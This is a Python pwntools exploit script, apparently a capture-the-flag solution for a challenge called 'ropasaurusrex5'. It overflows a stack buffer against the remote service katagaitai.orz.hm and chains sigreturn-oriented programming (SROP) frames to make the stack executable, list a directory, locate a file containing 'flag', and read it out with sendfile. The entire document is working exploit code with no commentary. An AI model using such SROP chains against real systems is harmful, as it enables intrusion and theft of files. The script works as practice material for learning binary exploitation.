ropasaurusrex5

exploit.py

from pwn import *
import time

def srop(eax, ebx = 0, ecx = 0, edx = 0, esi = 0, edi = 0):
    global stack
    return ''.join([
        p32(0x2b),         # ds
        p32(edi),         # edi
        p32(esi),         # esi
        p32(stack),         # ebp
        p32(stack),       # esp
        p32(ebx),       # ebx
        p32(edx),         # edx
        p32(ecx),         # ecx
        p32(eax),        # eax
        p32(0),         # trapno
        p32(0),         # err
        p32(int80ret),     # eip
        p32(0x23),      # cs
        p32(0),         # eflags
        p32(0),         # esp_at_signal
        p32(0x2b),       # ss
        p32(0),
    ])

read = 0x80480b8
write = 0x80480d2
int80 = 0x80480f7
int80ret = 0x80480cf
stack = 0x8048200

#s = remote('192.168.6.129', 4000)
s = remote('katagaitai.orz.hm', 1029)

payload = ''.join([
    'A' * 128,

    p32(write),
    p32(int80),
    p32(0),         # gs
    p32(stack),       # fs
    p32(119),       # es

    p32(0x2b),         # ds
    p32(0),         # edi
    p32(0),         # esi
    p32(stack),         # ebp
    p32(stack),       # esp
    p32(stack & 0xfffff000),       # ebx
    p32(7),         # edx
    p32(0x1000),         # ecx
    p32(125),        # eax
    p32(0),         # trapno
    p32(0),         # err
    p32(int80),     # eip
    p32(0x23),      # cs
    p32(0),         # eflags
    p32(0),         # esp_at_signal
    p32(0x2b),      # ss
    p32(0),
])

s.send(payload)
print "payload length: ", len(payload)
assert(len(payload) <= 256)

time.sleep(0.01)

payload = ''.join([
    'A' * 128,
    p32(read),
    p32(int80ret),
    p32(0),
    p32(stack),
    p32(119),
]).ljust(119, '\0')

s.send(payload)
time.sleep(0.01)
s.recv(1024)

payload = ''.join([
    p32(read),
    p32(int80ret),
    p32(0),
    p32(stack + 4 * 5),
    p32(119),

    srop(5, stack + 100)
]).ljust(100, '\0') + './' + '\0' * 17

s.send(payload)
time.sleep(0.01)

dirent = stack + 0x800
filename = stack + 0x900
name = ''

for _ in range(10):
    payload = srop(89, 3, dirent, 128).ljust(119, '\0')
    s.send(payload);
    time.sleep(0.01)

    payload = srop(4, 1, dirent + 10, 54).ljust(119, '\0')
    s.send(payload);
    time.sleep(0.01)

    f = s.recv(4096)
    name = f.split('\0')[0]
    print name
    if 'flag' in name:
        print 'read from', name
        break

payload = srop(3, 0, filename, 119).ljust(119, '\0')
s.send(payload)
s.send(name.ljust(119, '\0'))

payload = srop(5, filename, 0, 0).ljust(119, '\0')
s.send(payload)
time.sleep(0.1)


payload = srop(187, 1, 4, 0, 128).ljust(119, '\0')
s.send(payload)
time.sleep(0.1)

print s.recv(1024)

s.interactive()